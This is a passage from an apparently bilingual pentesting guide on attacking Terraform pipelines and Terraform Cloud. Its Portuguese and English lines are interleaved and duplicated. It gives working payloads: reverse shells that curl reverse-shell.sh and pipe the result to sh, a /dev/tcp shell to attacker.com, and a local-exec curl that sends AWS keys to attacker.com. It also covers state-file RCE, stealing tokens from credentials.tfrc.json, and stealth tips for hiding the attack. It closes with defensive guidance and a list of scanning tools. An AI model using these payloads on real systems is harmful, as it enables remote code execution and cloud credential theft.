program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
}
|
||||
```
|
||||
**Usando um provedor personalizado**
|
||||
|
||||
Um atacante poderia enviar um [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) para o [Terraform Registry](https://registry.terraform.io/) e então adicioná-lo ao código Terraform em uma feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
|
||||
**Using a custom provider**
|
||||
|
||||
An attacker could send a [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) to the [Terraform Registry](https://registry.terraform.io/) and then add it to the Terraform code in a feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
|
||||
|
||||
```javascript
|
||||
terraform {
|
||||
required_providers {
|
||||
evil = {
|
||||
source = "evil/evil"
|
||||
version = "1.0"
|
||||
}
|
||||
}
|
||||
}
|
||||
terraform {
|
||||
required_providers {
|
||||
evil = {
|
||||
source = "evil/evil"
|
||||
version = "1.0"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
provider "evil" {}
|
||||
```
|
||||
O provider é baixado no `init` e executará o código malicioso quando `plan` for executado
|
||||
|
||||
Você pode encontrar um exemplo em [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
|
||||
The provider is downloaded in the `init` and will run the malicious code when `plan` is executed
|
||||
|
||||
**Usando uma referência externa**
|
||||
You can find an example in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
|
||||
|
||||
Ambas as opções mencionadas são úteis, mas não muito discretas (a segunda é mais discreta, porém mais complexa que a primeira). Você pode realizar este ataque de forma ainda mais **discreta**, seguindo estas sugestões:
|
||||
**Using an external reference**
|
||||
|
||||
Both mentioned options are useful but not very stealthy (the second is more stealthy but more complex than the first one). You can perform this attack even in a **stealthier way**, by following this suggestions:
|
||||
|
||||
- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
|
||||
|
||||
- Em vez de adicionar o rev shell diretamente no arquivo terraform, você pode **carregar um recurso externo** que contenha o rev shell:
|
||||
```javascript
|
||||
module "not_rev_shell" {
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
}
|
||||
```
|
||||
Você pode encontrar o código rev shell em [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
|
||||
- No recurso externo, use a funcionalidade **ref** para esconder o **terraform rev shell code in a branch** dentro do repositório, algo como: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
|
||||
- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
|
||||
### Terraform Apply
|
||||
|
||||
Terraform apply será executado para aplicar todas as alterações, você também pode abusar disso para obter RCE injetando **um arquivo Terraform malicioso com** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
Você só precisa garantir que algum payload como os seguintes termine no arquivo `main.tf`:
|
||||
Terraform apply will be executed to apply all the changes, you can also abuse it to obtain RCE injecting **a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
You just need to make sure some payload like the following ones ends in the `main.tf` file:
|
||||
|
||||
```json
|
||||
// Payload 1 to just steal a secret
|
||||
resource "null_resource" "secret_stealer" {
|
||||
provisioner "local-exec" {
|
||||
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
|
||||
}
|
||||
provisioner "local-exec" {
|
||||
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
|
||||
}
|
||||
}
|
||||
|
||||
// Payload 2 to get a rev shell
|
||||
resource "null_resource" "rev_shell" {
|
||||
provisioner "local-exec" {
|
||||
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
provisioner "local-exec" {
|
||||
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
}
|
||||
```
|
||||
Siga as **sugestões da técnica anterior** para realizar este ataque de forma **mais furtiva usando referências externas**.
|
||||
|
||||
## Dumps de Segredos
|
||||
Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way using external references**.
|
||||
|
||||
## Secrets Dumps
|
||||
|
||||
You can have **secret values used by terraform dumped** running `terraform apply` by adding to the terraform file something like:
|
||||
|
||||
Você pode fazer com que os **valores secretos usados pelo terraform sejam extraídos** ao executar `terraform apply` adicionando ao arquivo terraform algo como:
|
||||
```json
|
||||
output "dotoken" {
|
||||
value = nonsensitive(var.do_token)
|
||||
value = nonsensitive(var.do_token)
|
||||
}
|
||||
```
|
||||
## Abusando dos state files do Terraform
|
||||
|
||||
Caso você tenha acesso de escrita aos terraform state files mas não possa alterar o código do terraform, [**esta pesquisa**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) apresenta algumas opções interessantes para tirar proveito do arquivo. Mesmo que você tivesse acesso de escrita aos arquivos de configuração, usar o vetor dos state files costuma ser muito mais sorrateiro, já que você não deixa rastros no histórico do `git`.
|
||||
## Abusing Terraform State Files
|
||||
|
||||
In case you have write access over terraform state files but cannot change the terraform code, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) gives some interesting options to take advantage of the file. Even if you would have write access over the config files, using the vector of state files is often way more sneaky, since you do not leave tracks in the `git` history.
|
||||
|
||||
### RCE in Terraform: config file poisoning
|
||||
|
||||
É possível [criar um provider customizado](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) e simplesmente substituir um dos providers no terraform state file pelo malicioso ou adicionar um recurso falso referenciando o provider malicioso.
|
||||
It is possible to [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) and just replace one of the providers in the terraform state file for the malicious one or add a fake resource referencing the malicious provider.
|
||||
|
||||
O provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) baseia-se na pesquisa e weaponiza esse princípio. Você pode adicionar um recurso falso e colocar o comando bash arbitrário que deseja executar no atributo `command`. Quando a execução do `terraform` for acionada, isso será lido e executado tanto no `terraform plan` quanto no `terraform apply`. No caso do passo `terraform apply`, o `terraform` vai apagar o recurso falso do state file após executar seu comando, limpando os rastros. Mais informações e uma demo completa podem ser encontradas no [repositório GitHub que hospeda o código fonte deste provider](https://github.com/offensive-actions/terraform-provider-statefile-rce).
|
||||
The provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) builds on the research and weaponizes this principle. You can add a fake resource and state the arbitrary bash command you want to run in the attribute `command`. When the `terraform` run is triggered, this will be read and executed in both the `terraform plan` and `terraform apply` steps. In case of the `terraform apply` step, `terraform` will delete the fake resource from the state file after executing your command, cleaning up after itself. More information and a full demo can be found in the [GitHub repository hosting the source code for this provider](https://github.com/offensive-actions/terraform-provider-statefile-rce).
|
||||
|
||||
To use it directly, just include the following at any position of the `resources` array and customize the `name` and the `command` attributes:
|
||||
|
||||
Para usá-lo diretamente, basta incluir o seguinte em qualquer posição do array `resources` e customizar os atributos `name` e `command`:
|
||||
```json
|
||||
{
|
||||
"mode": "managed",
|
||||
"type": "rce",
|
||||
"name": "<arbitrary_name>",
|
||||
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
|
||||
"instances": [
|
||||
{
|
||||
"schema_version": 0,
|
||||
"attributes": {
|
||||
"command": "<arbitrary_command>",
|
||||
"id": "rce"
|
||||
},
|
||||
"sensitive_attributes": [],
|
||||
"private": "bnVsbA=="
|
||||
}
|
||||
]
|
||||
"mode": "managed",
|
||||
"type": "rce",
|
||||
"name": "<arbitrary_name>",
|
||||
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
|
||||
"instances": [
|
||||
{
|
||||
"schema_version": 0,
|
||||
"attributes": {
|
||||
"command": "<arbitrary_command>",
|
||||
"id": "rce"
|
||||
},
|
||||
"sensitive_attributes": [],
|
||||
"private": "bnVsbA=="
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
Então, assim que `terraform` for executado, seu código será executado.
|
||||
|
||||
### Removendo recursos <a href="#deleting-resources" id="deleting-resources"></a>
|
||||
Then, as soon as `terraform` gets executed, your code will run.
|
||||
|
||||
Existem 2 maneiras de destruir recursos:
|
||||
### Deleting resources <a href="#deleting-resources" id="deleting-resources"></a>
|
||||
|
||||
1. **Inserir um recurso com um nome aleatório no arquivo state apontando para o recurso real a ser destruído**
|
||||
There are 2 ways to destroy resources:
|
||||
|
||||
1. **Insert a resource with a random name into the state file pointing to the real resource to destroy**
|
||||
|
||||
Because terraform will see that the resource shouldn't exit, it'll destroy it (following the real resource ID indicated). Example from the previous page:
|
||||
|
||||
Porque terraform verá que o recurso não deveria existir, ele o destruirá (seguindo o ID do recurso real indicado). Exemplo da página anterior:
|
||||
```json
|
||||
{
|
||||
"mode": "managed",
|
||||
"type": "aws_instance",
|
||||
"name": "example",
|
||||
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
|
||||
"instances": [
|
||||
{
|
||||
"attributes": {
|
||||
"id": "i-1234567890abcdefg"
|
||||
}
|
||||
}
|
||||
]
|
||||
"mode": "managed",
|
||||
"type": "aws_instance",
|
||||
"name": "example",
|
||||
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
|
||||
"instances": [
|
||||
{
|
||||
"attributes": {
|
||||
"id": "i-1234567890abcdefg"
|
||||
}
|
||||
}
|
||||
]
|
||||
},
|
||||
```
|
||||
2. **Modificar o recurso para forçar sua exclusão de forma que não seja possível atualizá-lo (assim ele será excluído e recriado)**
|
||||
|
||||
Para uma instância EC2, modificar o tipo da instância é suficiente para fazer o terraform excluí-la e recriá-la.
|
||||
2. **Modify the resource to delete in a way that it's not possible to update (so it'll be deleted a recreated)**
|
||||
|
||||
### Substituir provedor bloqueado
|
||||
For an EC2 instance, modifying the type of the instance is enough to make terraform delete a recreate it.
|
||||
|
||||
### Replace blacklisted provider
|
||||
|
||||
In case you encounter a situation where `hashicorp/external` was blacklisted, you can re-implement the `external` provider by doing the following. Note: We use a fork of external provider published by https://registry.terraform.io/providers/nazarewk/external/latest. You can publish your own fork or re-implementation as well.
|
||||
|
||||
Caso você encontre uma situação em que `hashicorp/external` foi bloqueado, você pode reimplementar o provedor `external` fazendo o seguinte. Nota: Usamos um fork do provedor external publicado em https://registry.terraform.io/providers/nazarewk/external/latest. Você pode publicar seu próprio fork ou reimplementação também.
|
||||
```terraform
|
||||
terraform {
|
||||
required_providers {
|
||||
external = {
|
||||
source = "nazarewk/external"
|
||||
version = "3.0.0"
|
||||
}
|
||||
}
|
||||
required_providers {
|
||||
external = {
|
||||
source = "nazarewk/external"
|
||||
version = "3.0.0"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
Então você pode usar `external` normalmente.
|
||||
|
||||
Then you can use `external` as per normal.
|
||||
|
||||
```terraform
|
||||
data "external" "example" {
|
||||
program = ["sh", "-c", "whoami"]
|
||||
program = ["sh", "-c", "whoami"]
|
||||
}
|
||||
```
|
||||
|
||||
## Terraform Cloud speculative plan RCE and credential exfiltration
|
||||
|
||||
Este cenário abusa dos runners do Terraform Cloud (TFC) durante speculative plans para pivot into the target cloud account.
|
||||
This scenario abuses Terraform Cloud (TFC) runners during speculative plans to pivot into the target cloud account.
|
||||
|
||||
- Pré-condições:
|
||||
- Roube um token do Terraform Cloud de uma máquina de desenvolvedor. O CLI armazena tokens em plaintext em `~/.terraform.d/credentials.tfrc.json`.
|
||||
- O token deve ter acesso à organização/workspace alvo e pelo menos a permissão `plan`. Workspaces com VCS bloqueiam `apply` via CLI, mas ainda permitem speculative plans.
|
||||
- Preconditions:
|
||||
- Steal a Terraform Cloud token from a developer machine. The CLI stores tokens in plaintext at `~/.terraform.d/credentials.tfrc.json`.
|
||||
- The token must have access to the target organization/workspace and at least the `plan` permission. VCS-backed workspaces block `apply` from CLI, but still allow speculative plans.
|
||||
|
||||
- Discover workspace and VCS settings via the TFC API:
|
||||
|
||||
- Descubra configurações de workspace e VCS via a API do TFC:
|
||||
```bash
|
||||
export TF_TOKEN=<stolen_token>
|
||||
curl -s -H "Authorization: Bearer $TF_TOKEN" \
|
||||
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
|
||||
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
|
||||
```
|
||||
- Acionar code execution durante um speculative plan usando o external data source e o Terraform Cloud "cloud" block para direcionar o VCS-backed workspace:
|
||||
|
||||
- Trigger code execution during a speculative plan using the external data source and the Terraform Cloud "cloud" block to target the VCS-backed workspace:
|
||||
|
||||
```hcl
|
||||
terraform {
|
||||
cloud {
|
||||
organization = "acmecorp"
|
||||
workspaces { name = "gcp-infra-prod" }
|
||||
}
|
||||
cloud {
|
||||
organization = "acmecorp"
|
||||
workspaces { name = "gcp-infra-prod" }
|
||||
}
|
||||
}
|
||||
|
||||
data "external" "exec" {
|
||||
program = ["bash", "./rsync.sh"]
|
||||
program = ["bash", "./rsync.sh"]
|
||||
}
|
||||
```
|
||||
Exemplo rsync.sh para obter um reverse shell no TFC runner:
|
||||
|
||||
Example rsync.sh to obtain a reverse shell on the TFC runner:
|
||||
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
|
||||
```
|
||||
Execute um plano especulativo para rodar o programa no runner efêmero:
|
||||
|
||||
Run a speculative plan to execute the program on the ephemeral runner:
|
||||
|
||||
```bash
|
||||
terraform init
|
||||
terraform plan
|
||||
```
|
||||
- Enumerar e exfiltrar credenciais de cloud injetadas no runner. Durante as execuções, o TFC injeta credenciais do provider via arquivos e variáveis de ambiente:
|
||||
|
||||
- Enumerate and exfiltrate injected cloud credentials from the runner. During runs, TFC injects provider credentials via files and environment variables:
|
||||
|
||||
```bash
|
||||
env | grep -i gcp || true
|
||||
env | grep -i aws || true
|
||||
```
|
||||
Arquivos esperados no diretório de trabalho do runner:
|
||||
- GCP:
|
||||
- `tfc-google-application-credentials` (config JSON do Workload Identity Federation)
|
||||
- `tfc-gcp-token` (token de acesso GCP de curta duração)
|
||||
- AWS:
|
||||
- `tfc-aws-shared-config` (config de web identity/OIDC para assunção de role)
|
||||
- `tfc-aws-token` (token de curta duração; algumas orgs podem usar chaves estáticas)
|
||||
|
||||
- Use as credenciais de curta duração fora de banda para contornar os gates do VCS:
|
||||
Expected files on the runner working directory:
|
||||
- GCP:
|
||||
- `tfc-google-application-credentials` (Workload Identity Federation JSON config)
|
||||
- `tfc-gcp-token` (short-lived GCP access token)
|
||||
- AWS:
|
||||
- `tfc-aws-shared-config` (web identity/OIDC role assumption config)
|
||||
- `tfc-aws-token` (short-lived token; some orgs may use static keys)
|
||||
|
||||
- Use the short-lived credentials out-of-band to bypass VCS gates:
|
||||
|
||||
GCP (gcloud):
|
||||
|
||||
```bash
|
||||
export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
|
||||
gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
|
||||
gcloud config set project <PROJECT_ID>
|
||||
```
|
||||
|
||||
AWS (AWS CLI):
|
||||
|
||||
```bash
|
||||
export AWS_CONFIG_FILE=./tfc-aws-shared-config
|
||||
export AWS_PROFILE=default
|
||||
aws sts get-caller-identity
|
||||
```
|
||||
Com essas credenciais, atacantes podem criar/modificar/destruir recursos diretamente usando CLIs nativos, contornando fluxos de trabalho baseados em PR que bloqueiam `apply` via VCS.
|
||||
|
||||
- Orientação defensiva:
|
||||
- Aplique o princípio do menor privilégio a usuários/equipes e tokens do TFC. Audite associações e evite proprietários com privilégios excessivos.
|
||||
- Restrinja a permissão `plan` em workspaces sensíveis vinculados ao VCS quando possível.
|
||||
- Imponha allowlists de provider/data source com políticas Sentinel para bloquear `data "external"` ou providers desconhecidos. Veja a orientação da HashiCorp sobre provider filtering.
|
||||
- Prefira OIDC/WIF em vez de credenciais estáticas de cloud; trate runners como sensíveis. Monitore execuções especulativas de plan e tráfego de saída inesperado.
|
||||
- Detecte exfiltração de artefatos de credenciais `tfc-*` e alerte sobre uso suspeito do programa `external` durante execuções de plan.
|
||||
With these creds, attackers can create/modify/destroy resources directly using native CLIs, sidestepping PR-based workflows that block `apply` via VCS.
|
||||
|
||||
- Defensive guidance:
|
||||
- Apply least privilege to TFC users/teams and tokens. Audit memberships and avoid oversized owners.
|
||||
- Restrict `plan` permission on sensitive VCS-backed workspaces where feasible.
|
||||
- Enforce provider/data source allowlists with Sentinel policies to block `data "external"` or unknown providers. See HashiCorp guidance on provider filtering.
|
||||
- Prefer OIDC/WIF over static cloud credentials; treat runners as sensitive. Monitor speculative plan runs and unexpected egress.
|
||||
- Detect exfiltration of `tfc-*` credential artifacts and alert on suspicious `external` program usage during plans.
|
||||
|
||||
|
||||
## Comprometendo Terraform Cloud
|
||||
## Compromising Terraform Cloud
|
||||
|
||||
### Usando um token
|
||||
### Using a token
|
||||
|
||||
Como **[explicado neste post](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)**, o terraform CLI armazena tokens em texto plano em **`~/.terraform.d/credentials.tfrc.json`**. Roubar esse token permite que um atacante se faça passar pelo usuário dentro do escopo do token.
|
||||
As **[explained in this post](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)**, terraform CLI stores tokens in plaintext at **`~/.terraform.d/credentials.tfrc.json`**. Stealing this token lets an attacker impersonate the user within the token’s scope.
|
||||
|
||||
Using this token it's possible to get the org/workspace with:
|
||||
|
||||
Usando esse token, é possível obter a org/workspace com:
|
||||
```bash
|
||||
GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod
|
||||
Authorization: Bearer <TF_TOKEN>
|
||||
```
|
||||
Então é possível executar código arbitrário usando **`terraform plan`** conforme explicado no capítulo anterior.
|
||||
|
||||
Then it's possible to run arbitrary code using **`terraform plan`** as explained in the previous chapter.
|
||||
|
||||
### Escaping to the cloud
|
||||
|
||||
Então, se o runner estiver localizado em algum ambiente de cloud, é possível obter um token do principal associado ao runner e usá-lo fora de banda.
|
||||
Then, if the runner is located in some cloud environment, it's possible to obtain a token of the principal attached to the runner and use it out of band.
|
||||
|
||||
- **GCP files (present in current run working directory)**
|
||||
- `tfc-google-application-credentials` — JSON config for Workload Identity Federation(WIF) that tells Google how to exchange the external identity.
|
||||
- `tfc-gcp-token` — short‑lived (≈1 hour) GCP access token referenced by the above
|
||||
- `tfc-google-application-credentials` — JSON config for Workload Identity Federation(WIF) that tells Google how to exchange the external identity.
|
||||
- `tfc-gcp-token` — short‑lived (≈1 hour) GCP access token referenced by the above
|
||||
|
||||
- **AWS files**
|
||||
- `tfc-aws-shared-config` — JSON for web identity federation/OIDC role assumption
|
||||
- `tfc-aws-shared-config` — JSON for web identity federation/OIDC role assumption
|
||||
(preferred over static keys).
|
||||
- `tfc-aws-token` — short‑lived token, or potentially static IAM keys if misconfigured.
|
||||
- `tfc-aws-token` — short‑lived token, or potentially static IAM keys if misconfigured.
|
||||
|
||||
|
||||
## Automatic Audit Tools
|
||||
|
||||
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
|
||||
|
||||
A Snyk oferece uma solução abrangente de scanning de Infrastructure as Code (IaC) que detecta vulnerabilidades e configurações incorretas em Terraform, CloudFormation, Kubernetes, e outros formatos IaC.
|
||||
Snyk offers a comprehensive Infrastructure as Code (IaC) scanning solution that detects vulnerabilities and misconfigurations in Terraform, CloudFormation, Kubernetes, and other IaC formats.
|
||||
|
||||
- **Features:**
|
||||
- Real-time scanning for security vulnerabilities and compliance issues.
|
||||
- Integration with version control systems (GitHub, GitLab, Bitbucket).
|
||||
- Automated fix pull requests.
|
||||
- Detailed remediation advice.
|
||||
- **Sign Up:** Create an account on [Snyk](https://snyk.io/).
|
||||
|
||||
- **Recursos:**
|
||||
- Escaneamento em tempo real para vulnerabilidades de segurança e problemas de conformidade.
|
||||
- Integração com sistemas de controle de versão (GitHub, GitLab, Bitbucket).
|
||||
- Pull requests automatizados de correção.
|
||||
- Orientação detalhada de remediação.
|
||||
- **Inscreva-se:** Crie uma conta em [Snyk](https://snyk.io/).
|
||||
```bash
|
||||
brew tap snyk/tap
|
||||
brew install snyk
|
||||
snyk auth
|
||||
snyk iac test /path/to/terraform/code
|
||||
```
|
||||
|
||||
### [Checkov](https://github.com/bridgecrewio/checkov) <a href="#install-checkov-from-pypi" id="install-checkov-from-pypi"></a>
|
||||
|
||||
**Checkov** é uma ferramenta de análise estática de código para infraestrutura como código (IaC) e também uma ferramenta de análise de composição de software (SCA) para imagens e pacotes open source.
|
||||
**Checkov** is a static code analysis tool for infrastructure as code (IaC) and also a software composition analysis (SCA) tool for images and open source packages.
|
||||
|
||||
Ele analisa infraestrutura em nuvem provisionada usando [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) e detecta misconfigurações de segurança e conformidade usando varredura baseada em grafo.
|
||||
It scans cloud infrastructure provisioned using [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) and detects security and compliance misconfigurations using graph-based scanning.
|
||||
|
||||
It performs [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) which is a scan of open source packages and images for Common Vulnerabilities and Exposures (CVEs).
|
||||
|
||||
Ele executa [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), que é uma verificação de pacotes open source e imagens em busca de Common Vulnerabilities and Exposures (CVEs).
|
||||
```bash
|
||||
pip install checkov
|
||||
checkov -d /path/to/folder
|
||||
```
|
||||
|
||||
### [terraform-compliance](https://github.com/terraform-compliance/cli)
|
||||
|
||||
From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` é um framework de testes leve, focado em security e compliance, para terraform, que permite a capacidade de negative testing para sua infraestrutura como código.
|
||||
From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` is a lightweight, security and compliance focused test framework against terraform to enable negative testing capability for your infrastructure-as-code.
|
||||
|
||||
- **compliance:** Garantir que o código implementado esteja seguindo padrões de segurança, seus próprios padrões personalizados
|
||||
- **behaviour driven development:** Temos BDD para quase tudo, por que não para IaC?
|
||||
- **portable:** basta instalar via `pip` ou executá-lo via `docker`. See [Installation](https://terraform-compliance.com/pages/installation/)
|
||||
- **pre-deploy:** valida seu código antes de ser deployado
|
||||
- **easy to integrate:** pode rodar no seu pipeline (ou em git hooks) para garantir que todas as implantações sejam validadas.
|
||||
- **segregation of duty:** você pode manter seus testes em um repositório diferente onde uma equipe separada é responsável.
|
||||
- **compliance:** Ensure the implemented code is following security standards, your own custom standards
|
||||
- **behaviour driven development:** We have BDD for nearly everything, why not for IaC ?
|
||||
- **portable:** just install it from `pip` or run it via `docker`. See [Installation](https://terraform-compliance.com/pages/installation/)
|
||||
- **pre-deploy:** it validates your code before it is deployed
|
||||
- **easy to integrate:** it can run in your pipeline (or in git hooks) to ensure all deployments are validated.
|
||||
- **segregation of duty:** you can keep your tests in a different repository where a separate team is responsible.
|
||||
|
||||
> [!NOTE]
|
||||
> Infelizmente, se o código estiver usando alguns providers aos quais você não tem acesso, você não conseguirá executar o `terraform plan` e rodar esta ferramenta.
|
||||
> Unfortunately if the code is using some providers you don't have access to you won't be able to perform the `terraform plan` and run this tool.
|
||||
|
||||
```bash
|
||||
pip install terraform-compliance
|
||||
terraform plan -out=plan.out
|
||||
terraform-compliance -f /path/to/folder
|
||||
```
|
||||
|
||||
### [tfsec](https://github.com/aquasecurity/tfsec)
|
||||
|
||||
Segundo os [**docs**](https://github.com/aquasecurity/tfsec): tfsec usa análise estática do seu código Terraform para identificar possíveis misconfigurações.
|
||||
From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec uses static analysis of your terraform code to spot potential misconfigurations.
|
||||
|
||||
- ☁️ Checks for misconfigurations across all major (and some minor) cloud providers
|
||||
- ⛔ Hundreds of built-in rules
|
||||
- 🪆 Scans modules (local and remote)
|
||||
- ➕ Evaluates HCL expressions as well as literal values
|
||||
- ↪️ Evaluates Terraform functions e.g. `concat()`
|
||||
- 🔗 Evaluates relationships between Terraform resources
|
||||
- 🧰 Compatible with the Terraform CDK
|
||||
- 🙅 Applies (and embellishes) user-defined Rego policies
|
||||
- 📃 Supports multiple output formats: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
|
||||
- 🛠️ Configurable (via CLI flags and/or config file)
|
||||
- ⚡ Very fast, capable of quickly scanning huge repositories
|
||||
|
||||
- ☁️ Verifica misconfigurações em todos os principais (e alguns secundários) provedores de nuvem
|
||||
- ⛔ Centenas de regras integradas
|
||||
- 🪆 Escaneia módulos (locais e remotos)
|
||||
- ➕ Avalia expressões HCL assim como valores literais
|
||||
- ↪️ Avalia funções do Terraform e.g. `concat()`
|
||||
- 🔗 Avalia relações entre recursos do Terraform
|
||||
- 🧰 Compatível com o Terraform CDK
|
||||
- 🙅 Aplica (e enriquece) políticas Rego definidas pelo usuário
|
||||
- 📃 Suporta múltiplos formatos de saída: lovely (padrão), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
|
||||
- 🛠️ Configurável (via flags de CLI e/ou arquivo de configuração)
|
||||
- ⚡ Muito rápido, capaz de escanear rapidamente repositórios enormes
|
||||
```bash
|
||||
brew install tfsec
|
||||
tfsec /path/to/folder
|
||||
```
|
||||
### [terrascan](https://github.com/tenable/terrascan)
|
||||
|
||||
Terrascan é um analisador estático de código para Infrastructure as Code. Terrascan permite que você:
|
||||
|
||||
- Escanear infrastructure as code para detectar misconfigurações de forma transparente.
|
||||
- Monitorar a infraestrutura provisionada em cloud para alterações de configuração que introduzam posture drift, e possibilitar reverter para uma postura segura.
|
||||
- Detectar vulnerabilidades de segurança e violações de conformidade.
|
||||
- Mitigar riscos antes de provisionar infraestrutura cloud native.
|
||||
- Oferece flexibilidade para executar localmente ou integrar com seu CI\CD.
|
||||
```bash
|
||||
brew install terrascan
|
||||
terrascan scan -d /path/to/folder
|
||||
```
|
||||
### [KICKS](https://github.com/Checkmarx/kics)
|
||||
|
||||
Encontre vulnerabilidades de segurança, problemas de conformidade e misconfigurações de infraestrutura no início do ciclo de desenvolvimento da sua infraestrutura como código com **KICS** da Checkmarx.
|
||||
Find security vulnerabilities, compliance issues, and infrastructure misconfigurations early in the development cycle of your infrastructure-as-code with **KICS** by Checkmarx.
|
||||
|
||||
**KICS** stands for **K**eeping **I**nfrastructure as **C**ode **S**ecure, it is open source and is a must-have for any cloud native project.
|
||||
|
||||
